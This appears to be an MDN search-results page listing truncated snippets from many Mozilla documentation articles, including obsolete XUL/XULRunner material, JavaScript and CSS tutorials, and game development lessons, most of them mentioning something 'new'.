...ode : import org.eclipse.swt.swt; import org.eclipse.swt.browser.mozillabrowser; import org.eclipse.swt.browser.progressevent; import org.eclipse.swt.browser.progresslistener; import org.eclipse.swt.widgets.display; import org.eclipse.swt.widgets.shell; import org.mozilla.xpcom.nsidomdocument; public class test { public static void main(string args[]) { display display = new display(); shell shell = new shell(display); final mozillabrowser browser = new mozillabrowser(shell,wt.border); browser.seturl("http://www.google.com"); browser.addprogresslistener(new progresslistener() { public void changed(progressevent event) { } public vo...
...you can find a better quality answer repeated and with an example in this newsgroup thread.
Documentation for BiDi Mozilla - Archive of obsolete content
a new frame iterator, nsvisualiterator (in nsframetraversal.cpp) provides visual frame navigation capability.
... text fields and composer the specification of the bidi changes to composer was posted in the editor and i18n newsgroups, and responses there were taken into account.
...improvements to lists with hebrew and arabic list-style-type summary of new classes class name xpcom interface (if applicable) implementation comments nsibidi intl\unicharutil\public\nsibidi.h intl\unicharutil\src\nsbidiimp.cpp implementation of the unicode bidi algorithm nsiubidiutils intl\unicharutil\public\nsiubidiutils.h intl\unicharutil\src\nsbidiutilsimp.cpp utilities for bidi processing, including: character classification symmetric swapping reordering sha...
Repackaging Firefox - Archive of obsolete content
we call this extension a "distro extension" (sometimes abbreviated as "dex"), because it is used to create a new "distribution" of firefox, with different branding, etc.
... using an extension makes it far easier to keep track of your changes easily when the time comes to upgrade to new versions of firefox, and also ensures, when set-up correctly, that users are able to safely receive firefox updates from mozilla.
...please remember to obtain permission as described above before distributing your new firefox installer.
Isp Data - Archive of obsolete content
this page applies to thunderbird (mail/news).
... introduction these files allow for adding to the new account wizard a new option, and help with, among other things, deployment of custom thunderbird.
... getting started first take a look at the number of examples available: http://infosec.ufl.edu/tbird/gatorlink.xml mailnews/base/ispdata/aol.rdf see the thunderbird isp hooks for more details.
Supporting private browsing mode - Archive of obsolete content
simply instantiate the helper, then you can use its inprivatebrowsing flag to detect whether or not private browsing is currently enabled, as shown here: var listener = new privatebrowsinglistener(); if (listener.inprivatebrowsing) { // we are in private browsing mode!
...var listener = new privatebrowsinglistener(); listener.watcher = { onenterprivatebrowsing : function() { // we have just entered private browsing mode!
...this is a new policy that is just being implemented (as of february, 2010).
Treehydra Manual - Archive of obsolete content
for now, the best way to learn gimple is to look at existing code as there is little newbie documentation to be had.
...for example, if the current abstract value of a variable x is nonzero, and the analysis goes inside an if statement with the condition x == 1, then in the new abstract value of x will be nonzero meet 1.
...for example, if esp reaches a point where two control flow paths merge, and on one side the abstract value of x is 1, and on the other side, the abstract value of x is 2, then the new abstract value of x will be 1 join 2.
Binding Attachment and Detachment - Archive of obsolete content
if new bindings are attached through css, they are installed after the dom bindings in the inheritance chain.
...if a resolution of style on the bound element determines that a new bindingt should be attached, then the following binding chain is detached: s1->s2 ->s3 and the new binding is attached.
...therefore new binding definitions can be generated dynamically or the anonymous content templates for bindings can be altered and used by the bound document.
Binding Implementations - Archive of obsolete content
a binding implementation provides a new set of methods and properties that can be invoked directly from the bound element.
...a setter contains a script that is invoked when a new value is assigned to the property.
... in script, the word val is used to represent the new value.
Elements - Archive of obsolete content
content <!element content any> <!attlist content id id #implied > a binding can specify new content that is placed inside the bound element.
...within the script, the parameter val represents the new value being assigned.
...for example, mutation events define several new fields such as relatedtarget that could be supported in the filtering syntax.] key - the key attribute has the same meaning as charcode.
XML in Mozilla - Archive of obsolete content
the newsgroup to discuss xml in mozilla depends a bit on the nature of the question.
... for example, dom related questions should probably be discussed in the mozilla.dev.tech.dom newsgroup, while style issues should be discussed on mozilla.dev.tech.css and so on.
... the catch-all newsgroup for xml discussion is mozilla.dev.tech.xml.
XPInstall - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
... creating xpi installer modules this article describes the packaging scheme of the mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users.
... mailing list newsgroup rss feed tools xpinstall trigger page related topics extensions, xul, xpi ...
Mozilla E4X - Archive of obsolete content
presentation view online download summary "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
...e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
... another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other.
SVG And Canvas In Mozilla - Archive of obsolete content
to realize this potential in web applications, browsers must expose rich new graphics apis to web content.
... the mozilla project will meet this challenge with two major new features to be delivered in firefox 1.5: integrated svg and a new canvas html element.
... work is also underway "under the hood" on a new unified graphics architecture that uses 3d graphics processors to accelerate all rendering.
Menus - Archive of obsolete content
an extension will often wish to attach a new command to a menu.
... to do this, the new menu will need to be laid over the existing menu which the item should be displayed upon.
... editable text context-openlink opens a link in a new window links context-openlinkintab opens a link in a new tab links context-bookmarklink bookmarks a link links context-savelink saves a link links context-sendlink sends a link in an email links context-copyemail copies an email address mailto: links context-copylink copies a link links context-v...
insertItem - Archive of obsolete content
the new item is added just before the item given by the second argument.
...otherwise, if the beforepermanent argument is false, the new item is added to the end of the toolbar.
... the third argument can be used to wrap the new item in another element.
loadOneTab - Archive of obsolete content
}) return type: tab element opens a new tab that loads a page with the specified url.
...this method works the same as addtab except for the loadinbackground parameter which allows you to choose whether to open the new tab in foreground or background.
... parameters inbackground if true the tab will be loaded in the background, if false the tab will be the newly selected tab.
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference.
...ges/t/obelisk.jpg" dc:title="obelisk"> <r:country resource="http://www.daml.org/2001/09/countries/iso#it"/> </rdf:description> <rdf:description about="http://www.daml.org/2001/09/countries/iso#it" dc:title="italy"/> <rdf:description about="http://www.daml.org/2001/09/countries/iso#nl" dc:title="netherlands"/> </rdf:rdf> a new country predicate has been added to each photo pointing to another resource.
... note that this predicate uses a new namespace so it is declared on the root rdf element.
Filtering - Archive of obsolete content
for instance, to apply a filter, you might add a new <triple> element.
...a new <triple> element is created and the object attribute is set to the value to filter by.
...the template will be parsed again and the data examined for new results.
Result Generation - Archive of obsolete content
this allows for a fairly efficient means of updating results when, for instance, a new statement is added to the rdf graph.
...at each step, new possible results may be added, or more information pertaining to an existing result may be added to the network.
...so, to summarize: start out with a one possible result as the seed iterate over the results determined so far and augment them with additional data add any new possible results remove any rejected results repeat steps 2 to 4 for each query statement once done, all remaining results become matches each possible result is made up of a set of variable-value pairs.
Template Builder Interface - Archive of obsolete content
changing this attribute causes the new datasource to be retrieved and the template to be rebuilt.
...after adding a datasource, the tree builder's rebuild method is invoked to rebuild the template with the new data.
...this is convenient when you want to simply add a new datasource to an existing template without reloading existing data.
Broadcasters and Observers - Archive of obsolete content
example 1 : source view <command id="my_command" label="open"/> <button command="my_command"/> <checkbox label="open in a new window" command="my_command"/> in this example, the button does not have a label attribute, however it is attached to a command that does.
...if someone added a new back button using an extension, it wouldn't be handled.
...this results in these elements having a new label.
Cross Package Overlays - Archive of obsolete content
for example, if mail is not installed, there will be no new message command.
... however, if mail is installed, an overlay will be applied to the menu to add the new message command.
...it is automatically generated and modified when mozilla is first run or when new packages are installed.
Introduction to XBL - Archive of obsolete content
you can also create new skins by changing the styles.
...however, xul provides no means in which you can change how an element works (or add a new element which can be reused).
...in addition new events can be defined.
XPCOM Interfaces - Archive of obsolete content
a particular user can install new components as needed.
... copyto(directory,newname) copies a file to another directory, optionally renaming the file.
... moveto(directory,newname) moves a file to another directory, or renames a file.
XUL Questions and Answers - Archive of obsolete content
a workaround is to open the content in a new window using "window.open" and send titlebar=”no” as one of the flags in the 3rd argument.
... an example of this is this: // associate the progress listener for a "browser" to a listener object browserobject.addprogresslistener( listobj, components.interfaces.nsiwebprogress.notify_state_window ); // remember to define the object, something like this: listobj = new object(); listobj.wpl = components.interfaces.nsiwebprogresslistener; listobj.queryinterface = function(aiid) { if (aiid.equals(listobj.wpl) || aiid.equals(components.interfaces.nsisupportsweakreference) || aiid.equals(components.interfaces.nsisupports)) return this; throw components.results.ns_nointerface; } listobj.onstatechange = function(aprogress, arequest, aflag, ast...
... use the following snippet of code to add a new element under an existing element: var elem = document.getelementbyid(xul_element_id); var node = document.createelement(xul_element_name); node.setattribute(attribute, value); node.setattribute(attribute, value); elem.appendchild(node); how do i access xul elements in a sidebar from the context menu javascript?
XUL accessibility guidelines - Archive of obsolete content
mozilla accessibility newsgroup.
...use css system colors to ensure that new widgets interact well with other widgets and with user-defined colors and themes.
... learn more accessible custom widgets accessible dhtml building accessible custom components in xul xul accessibility checklist use the following checklist to quickly verify the accessibility of a new xul application, or as a starting point for fixing accessibility problems in an existing one.
browser - Archive of obsolete content
droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface homepage type: url this attribute allows you to set a homepage for the browser element.
... load_flags_replace_history: replace the current url in the session history with a new one.
...this method can be used to move browser between windows or tear off a browser into a new window.
panel - Archive of obsolete content
ArchiveMozillaXULpanel
<panel id="thepanel"> <hbox align="start"> <image src="warning.png"/> <vbox> <description value="you have 6 new messages."/> <hbox> <button label="read mail"/> <button label="new message"/> </hbox> </vbox> </hbox> </panel> <description value="6 new messages" popup="thepanel"/> attributes backdrag type: boolean setting the backdrag attribute on a xul panel lets the user move the panel by clicking and dragging anywhere on its background area.
... moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates).
... sizeto( width, height ) return type: no return value changes the current size of the popup to the new width and height.
tree - Archive of obsolete content
ArchiveMozillaXULtree
for richlistbox, this is new in firefox 3.5.
...in newer versions of mozilla, the builderview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
...in newer versions of mozilla, the contentview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
XULRunner 1.8.0.4 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xzf xulrunner-1.8.0.4.en-us.linux-i686.tar.gz.
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.1.19.en-us.linux-i686.tar.bz2.
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9.2 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xjf xulrunner-3.6.26.en-us.linux-i686.tar.bz2.
...if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner 1.9 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using an archive tool (7zip is recommended).
... linux unpack the tarball to a new directory using tar -xjf xulrunner-1.9.0.17.en-us.linux-i686.tar.bz2.
... if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
XULRunner Hall of Fame - Archive of obsolete content
a newsletter can be sent to members who sign up on a regular bases.
... surebo browselorer a new, simple yet highly functional and customizable web browser, based on xulrunner 22.
...build instructions kirix strata a new specialty browser for accessing and manipulating data from the web telekast an open source teleprompter and script editor.
Using SOAP in XULRunner 1.9 - Archive of obsolete content
since the native soap interface was removed from gecko 1.9, those stuck speaking to soap apis need a new place to turn.
...(there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); ...
...nttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soapaction", soapreq.action); < } < }); --- > var xhr = new xmlhttprequest(); > xhr.mozbackgroundrequest = true; > xhr.open('post', soapclient.proxy, true); > xhr.onreadystatechange = function() { > if (4 != xhr.readystate) { return; } > getresponse(xhr); > }; > var headers = { > 'method': 'post', > 'content-type': soapclient.contenttype + '; charset="' + > soapclient.charset + '"', > 'content-length': soapclient.co...
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - october 13, 2006 - october 20, 2006 announcements content filtering, manipulation, and control in firefox 3 an open invitation from myk melez to contribute to the brainstorming of new features for firefox 3 and future firefox releases.
...to contribute visit the wiki discussions i wanna make an addon for firefox a commonly asked question in many newsgroups.
... adding support for new uri scheme question regarding creating a new uri scheme for firefox on windows.
NPN_CreateObject - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary allocates a new npobject.
... returns the newly-allocated npobject.
...the newly created npobject's reference count is initialized to 1 before it is returned.
TCP/IP Security - Archive of obsolete content
designing a cryptographically sound application protocol is very difficult, and implementing it properly is even more challenging, so creating new application layer security controls is likely to create vulnerabilities.
... newer applications of transport layer security protocols protect both http and non-http application communications, including client/server applications and other network traffic.
... if the data is altered and the mac is recalculated, the old and new macs will differ.
Common Firefox theme issues and solutions - Archive of obsolete content
using the default theme in the latest firefox, please try tools > web developer > inspect to see how this new feature functions and how it should be styled.
...themes that use -moz-border-image and support both firefox 14 and newer as well as older versions of firefox need to use both the older and newer methodologies like the following example.
... warning: if you copy over the firefox 11 or newer style rules and graphics from the media folder in omni.ja you need to make the following changes in videocontrols.css or the pause and mute buttons will break in firefox 10.
Scratchpad - Archive of obsolete content
but even with possible limitations present, the html code can be either manually entered or copied from the source and pasted into the "about:blank" page (a new empty tab) with the use page inspector's edit as html context menu command.
... opening scratchpad in the toolbox new in firefox 47.
...e, insert the result as a comment ctrl + l cmd + l ctrl + l re-evaluate current function ctrl + e cmd + e ctrl + e reload the current page, then run scratchpad code ctrl + shift + r cmd + shift + r ctrl + shift + r save the pad ctrl + s cmd + s ctrl + s open an existing pad ctrl + o cmd + o ctrl + o create a new pad ctrl + n cmd + n ctrl + n close scratchpad ctrl + w cmd + w ctrl + w pretty print the code in scratchpad ctrl + p cmd + p ctrl + p show autocomplete suggestions ctrl + space ctrl + space ctrl + space show inline documentation ctrl + shift + space ctrl + shift + space ctrl + shift + space source editor shor...
Browser Feature Detection - Archive of obsolete content
true false true maxheight true ie7 only true maxwidth true ie7 only true minheight true true true minwidth true ie7 only true orphans true false true outline true false true outlinecolor true false true outlinestyle true false true outlinewidth true false true overflow true true true page true false true pagebreakafter true true true pagebreakbefore true true true pagebreakinside true false true pause true false true pauseafter true false true pausebefore true false true pi...
..., {name: 'marks', 'supported': false}, {name: 'maxheight', 'supported': false}, {name: 'maxwidth', 'supported': false}, {name: 'minheight', 'supported': false}, {name: 'minwidth', 'supported': false}, {name: 'orphans', 'supported': false}, {name: 'outline', 'supported': false}, {name: 'outlinecolor', 'supported': false}, {name: 'outlinestyle', 'supported': false}, {name: 'outlinewidth', 'supported': false}, {name: 'overflow', 'supported': false}, {name: 'page', 'supported': false}, {name: 'pagebreakafter', 'supported': false}, {name: 'pagebreakbefore', 'supported': false}, {name: 'pagebreakinside', 'supported': false}, {name: 'pause', 'supported': false}, {name: 'pauseafter', 'supported': false}, {name: 'pausebefore', 'supported': false}, {name: 'pitch', ...
...t(document, 'domcore2', 'document'); generatereport(document, 'domhtml', 'document'); generatereport(document.body.style, 'domcss1', 'document.body.style'); generatereport(document.body.style, 'domcss2', 'document.body.style'); window.onerror = oldonerror; see also browser detection and cross browser support comparison of layout engines web specifications supported in opera 9 what's new in internet explorer 7 (script) original document information author(s): (unknown) last updated date: updated march 16, 2003 copyright information: copyright © 2001-2003 netscape.
ActiveXObject - Archive of obsolete content
syntax let newobj = new activexobject(servername.typename[, location]) parameters servername the name of the application providing the object.
... to create an automation object, assign the new activexobject to an object variable: var excelapp = new activexobject("excel.application"); var excelsheet = new activexobject("excel.sheet"); this code starts the application creating the object (in this case, a microsoft excel worksheet).
...in the following example, you access properties and methods of the new object using the object variable excelsheet and other excel objects, including the application object and the activesheet.cells collection.
Debug.writeln - Archive of obsolete content
the debug.writeln function sends strings to the script debugger, followed by a newline character.
... remarks the debug.writeln function sends strings, followed by a newline character, to the immediate window of the microsoft script debugger at run time.
...the only difference is that the debug.write function does not send a newline character after sending the strings.
handler.enumerate() - Archive of obsolete content
syntax var p = new proxy(target, { enumerate(target) { } }); parameters the following parameter is passed to the enumerate method.
... var p = new proxy({}, { enumerate(target) { console.log('called'); return ['a', 'b', 'c'][symbol.iterator](); } }); for (var x in p) { // "called" console.log(x); // "a" } // "b" // "c" the following code violates the invariant.
... var p = new proxy({}, { enumerate(target) { return 1; } }); for (var x in p) {} // typeerror is thrown note: both examples make use of the shorthand syntax for method definitions.
Packages - Archive of obsolete content
for example, you can access a constructor of the frame class as follows: var theframe = new packages.java.awt.frame(); for convenience, javascript provides the top-level netscape, sun, and java objects that are synonyms for the packages properties with the same names.
... consequently, you can access java classes in these packages without the packages keyword, as follows: var theframe = new java.awt.frame(); the classname property represents the fully qualified path name of any other java class that is available to javascript.
... examples example: javascript function to create a java dialog box the following javascript function creates a java dialog box: function createwindow() { var theowner = new packages.java.awt.frame(); var thewindow = new packages.java.awt.dialog(theowner); thewindow.setsize(350, 200); thewindow.settitle("hello, world"); thewindow.setvisible(true); } in the previous example, the function instantiates thewindow as a new packages object.
Old Proxy API - Archive of obsolete content
constructtrap is an optional variable-argument function(args) { return any-object; } that reifies “new proxy(args)”.
...if no constructtrap is provided, performing new proxy(...args) calls the proxy’s calltrap with this bound to a new object delegating to the proxy's prototype.
... object.defineproperty(proxy,name,pd) defineproperty: function(name, propertydescriptor) -> any define a new property whose attributes are determined by the given propertydescriptor.
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
the amazing netscape fish cam page has been restructured and restyled for the new millennium, ditching tables for strong and accessible markup.
...i was privileged enough to have that chance recently: i was asked to redesign the amazing netscape fish cam page for a new millennium.
...i'd like to think that the final result was in keeping with the original spirit of the amazing netscape fish cam page while giving it a nice new css-driven look.
XUL Parser in Python - Archive of obsolete content
with new widgets and attributes landing all the time, i wanted to get some quicker way of looking at the xul--at particular builds, at particular widgets, at which elements had which attributes, etc.
...for example, you could easily adapt this to: return the id values of all the elements take elements on the command line and only spell them out build new chrome subdirectories (i.e.
... new "packages") on the fly using search and replace.
Introduction to game development for the Web - Game development
thanks to massive performance improvements in javascript just-in-time compiler technology and new apis, you can build games that run in the browser (or on html5-powered devices) without making compromises.
...instead, you can advertise and promote your game all over the web as well as other media, taking advantage of the web's inherent linkability and shareability to reach new customers.
...this is a great way to do anything from downloading new game levels and artwork to transmitting non-real-time game status information back and forth.
Efficient animation for web games - Game development
when you animate position with javascript, the browser cannot easily make that same assumption, and so you might end up causing it to draw only the newly-exposed region of content, which may introduce slow-down.
...when the callback is executed, you can unset that flag so that calls to that function will request a new frame again, like this: function redraw() { drawpending = false; // do drawing ...
...to an extent, this was true: we found plenty to optimise in our own code, but it got to the point where we knew what we were doing ought to perform quite well, and it still wasn’t quite there.
Collision detection - Game development
first, add a new line inside your update() function that checks for collision detection between ball and bricks, as shown below: function update() { game.physics.arcade.collide(ball, paddle); game.physics.arcade.collide(ball, bricks, ballhitbrick); paddle.x = game.input.x || game.world.width*0.5; } the ball's position is calculated against the positions of all the bricks in the group.
...create this new function as the bottom of your code, just before the closing </script> tag, as follows: function ballhitbrick(ball, brick) { brick.kill(); } and that's it!
... reload your code and you should see the new collision detection working just as required.
Extra lives - Game development
new variables add the following new variables below the existing ones in your code: var lives = 3; var livestext; var lifelosttext; these respectively will store the number of lives, the text label that displays the number of lives that remain, and a text label that will be shown on screen when the player loses one of their lives.
... defining the new text labels defining the texts look like something we already did in the score lesson.
...instead of executing an anonymous function and showing the alert right away : ball.events.onoutofbounds.add(function(){ alert('game over!'); location.reload(); }, this); we will assign a new function called ballleavescreen; delete the previous event handler (shown above) and replace it with the following line: ball.events.onoutofbounds.add(ballleavescreen, this); we want to decrease the number of lives every time the ball leaves the canvas.
Gecko FAQ - Gecko Redirect 1
gecko has been known previously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark infringement dispute.
...now that the web has evolved, a new generation layout engine was needed upon which future products could be built.
... gecko enables a pioneering new class of dynamic content that is more interactive and offers greater presentation control to web developers, using open and recommended internet standards instead of proprietary apis.
Mutable - MDN Web Docs Glossary: Definitions of Web-related terms
(you can make a variable name point to a new value, but the previous value is still held in memory.
...lets understand this with an example: var immutablestring = "hello"; // in the above code, a new object with string value is created.
... on appending the "immutablestring" with a string value, following events occur: existing value of "immutablestring" is retrieved "world" is appended to the existing value of "immutablestring" the resultant value is then allocated to a new block of memory "immutablestring" object now points to the newly created memory space previously created memory space is now available for garbage collection.
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
} var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file:///-located files trying to reach external sites if (href !== null) { var response, responsetype; var request = new xmlhttprequest(); request.open('get', href, false); request.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); request.setrequestheader('cache-control', 'no-cache'); if (accept) { request.setrequestheader('accept', accept); } if (accep...
... if ((contenttype && contenttype.match(/[text|application]\/(.*)\+?xml/)) || (href.indexof('file://') === 0 && href.match(patternxml))) { /* grab the response as text (see below for that routine) and then find encoding within*/ var encname = '([a-za-z][a-za-z0-9._-]*)'; var pattern = new regexp('^<\\?xml\\s+.*encoding\\s*=\\s*([\'"])'+encname+'\\1.*\\?>'); // check document if not?
...ar encodingtype = response.match(pattern); if (encodingtype) { encodingtype = encodingtype[2]; } else { encodingtype = 'utf-8'; } // need to make a whole new request apparently since cannot convert the encoding after receiving it (to know what the encoding was) var request2 = new xmlhttprequest(); request2.overridemimetype('text/plain; charset='+encodingtype); request2.open('get', href, false); request2.setrequesthead...
Cascade and inheritance - Learn web development
note: there is also a newer value, revert, which has limited browser support.
... which of the links will change color if you define a new color for the <a> element — for example a { color: red; }?
...it's a convenient way to undo changes made to styles so that you can get back to a known starting point before beginning new changes.
Creating fancy letterheaded paper - Learn web development
starting point to get this assessment started, you should: make local copies of the html and css — save them as index.html and style.css in a new directory.
... hints and tips remember that you can create a fallback for older browsers by putting the fallback version of a declaration first, followed by the version that works across newer browsers only.
... older browsers will apply the first declaration and ignore the second one, whereas newer browsers will apply the first one, then override it with the second one.
Handling different text directions - Learn web development
once you start to look at css layout, and in particular the newer layout methods, this idea of block and inline becomes very important.
... due to the fact that writing mode and direction of text can change, newer css layout methods do not refer to left and right, and top and bottom.
... the logical properties and values are newer than their physical equivalents, and therefore have only recently been implemented in browsers.
Organizing your CSS - Learn web development
some developers put all of the rules onto a single line, like so: .box { background-color: #567895; } h2 { background-color: black; color: white; } other developers prefer to break everything onto a new line: .box { background-color: #567895; } h2 { background-color: black; color: white; } css doesn't mind which one you use.
... we personally find it is more readable to have each property and value pair on a new line.
... article.main p.box { border: 1px solid #ccc; } if you then wanted to apply the same rules to something outside of main, or to something other than a <p>, you would have to add another selector to these rules or create a whole new ruleset.
Pseudo-classes and pseudo-elements - Learn web development
if we wanted to make the first paragraph in an article larger and bold, we could add a class to that paragraph and then add css to that class, as shown in the first example below: however, this could be annoying to maintain — what if a new paragraph got added to the top of the document?
... we'd need to move the class over to the new paragraph.
... pseudo-elements behave in a similar way, however they act as if you had added a whole new html element into the markup, rather than applying a class to existing elements.
Multiple-column layout - Learn web development
previous overview: css layout next the multiple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper.
... prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how to create multiple-column layout on webpages, such as you might find in a newspaper.
...in this case the content breaks when the spanning element is introduced and continues below creating a new set of column boxes.
Responsive design - Learn web development
as mobile devices became more powerful and able to display full websites, this was frustrating to mobile users who found themselves trapped in the site's mobile version and unable to access information they knew was on the full-featured desktop version of the site.
...modern css layout methods are inherently responsive, and we have new things built into the web platform to make designing responsive sites easier.
...if you are new to web development today you have many more tools at your disposal than in the early days of responsive design.
What are browser developer tools? - Learn web development
click a property name or value to bring up a text box, where you can key in a new value to get a live preview of a style change.
... you can also click the closing curly brace of any rule to bring up a text box on a new line, where you can write a completely new declaration for your page.
...in example.js, a breakpoint has been set on the statement listitems.push(inputnewitem.value); the final two sections only appear when the code is running.
Advanced form styling - Learn web development
newer implementations are more consistent in behavior; interestingly enough, both chromium-based browsers (chrome, opera, edge), safari, and firefox all support the -webkit- prefixed version (-webkit-appearance).
...the datalist control is <input type="text"> anyway, so we knew this wouldn't be a problem.
...there are no clean, universal solutions, but modern browsers offer new possibilities.
Client-side form validation - Learn web development
<form> <label for="choose">would you prefer a banana or cherry?</label> <input id="choose" name="i_like"> <button>submit</button> </form> input:invalid { border: 2px dashed red; } input:valid { border: 2px solid black; } to begin, make a copy of fruit-start.html in a new directory on your hard drive.
...try out the new behavior in the example below: note: you can find this example live on github as fruit-validation.html (see also the source code.) try submitting the form without a value.
...create a new copy of the fruit-start.html file.
Dealing with files - Learn web development
inside your chosen place, create a new folder called web-projects (or similar).
...using your text editor, create a new file called index.html and save it just inside your test-site folder.
...you should see your new webpage displaying your image!
The web and web standards - Learn web development
you wouldn't want a single company suddenly deciding to put the entire web behind a paywall, or releasing a new version of html that everyone has to buy to continue making web sites, or worse still, just deciding they aren't interested any more and just turning it off.
... don't break the web another phrase you'll hear around open web standards is "don't break the web" — the idea is that any new web technology that is introduced should be backwards compatible with what went before it (i.e.
...it'll take you a few months to really start to get into it, and then you'll need to keep learning so that your knowledge stays up-to-date with all the new tools and features that appear on the web platform, and keep practicing and refining your craft.
Test your skills: Links - Learn web development
note: the first link in the example has the target="_blank" attribute set on it, so that when you click on it, it opens the page in a new tab.
... note: the first three links in the example have the target="_blank" attribute set on them, so that when you click on them, they open the linked page in a new tab.
... note: the first and third links in the example have the target="_blank" attribute set on them, so that when you click on them, they open the linked page in a new tab.
Build your own function - Learn web development
const panel = document.createelement('div'); panel.setattribute('class', 'msgbox'); html.appendchild(panel); the next two sections make use of the same createelement() and appendchild() functions we've already seen to create two new elements — a <p> and a <button> — and insert them in the page as children of the panel <div>.
...in a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a new contact and the operation completing successfully, etc.
...save them in a new folder called icons in the same location as your html file.
Introduction to events - Learn web development
addeventlistener() and removeeventlistener() the newest type of event mechanism is defined in the document object model (dom) level 2 events specification, which provides browsers with a new function — addeventlistener().
... note: if you are called on to support browsers older than internet explorer 8, you may run into difficulties, as such ancient browsers use different event models from newer browsers.
...let's look at an example to make this easier — open up the show-video-box.html example in a new tab (and the source code in another tab.) it is also available live below: this is a pretty simple example that shows and hides a <div> with a <video> element inside it: <button>display video</button> <div class="hidden"> <video> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video.
Functions — reusable blocks of code - Learn web development
every time we manipulated a text string, for example: let mytext = 'i am a string'; let newstring = mytext.replace('string', 'sausage'); console.log(newstring); // the replace() string function takes a source string, // and a target string and replaces the source string, // with the target string, and returns the newly formed string or every time we manipulated an array: let myarray = ['i', 'love', 'chocolate', 'frogs']; let madeastring = myarray.join(' '); console.log(madeastring); /...
.../ the join() function takes an array, joins // all the array items together into a single // string, and returns this new string or every time we generated a random number: let mynumber = math.random(); // the random() function generates a random number between // 0 and up to but not including 1, and returns that number ...we were using a function!
...when called, it always returns a random number between 0 and 1: let mynumber = math.random(); the browser's built-in string replace() function however needs two parameters — the substring to find in the main string, and the substring to replace that string with: let mytext = 'i am a string'; let newstring = mytext.replace('string', 'sausage'); note: when you need to specify multiple parameters, they are separated by commas.
Object building practice - Learn web development
type in the following to create a new ball instance: let testball = new ball(50, 100, 4, 4, 'blue', 10); try calling its members: testball.x testball.size testball.color testball.draw() when you enter the last line, you should see the ball draw itself somewhere on the canvas.
...the following will do this job — add it to the bottom of your code now: let balls = []; while (balls.length < 25) { let size = random(10,20); let ball = new ball( // ball position always drawn at least one ball width // away from the edge of the canvas, to avoid drawing errors random(0 + size,width - size), random(0 + size,height - size), random(-7,7), random(-7,7), 'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')', size ); balls.push(ball); } the while loop creates a new instance of our ...
...in this case we only set the color property of both the circles to a new random color.
Ember resources and troubleshooting - Learn web development
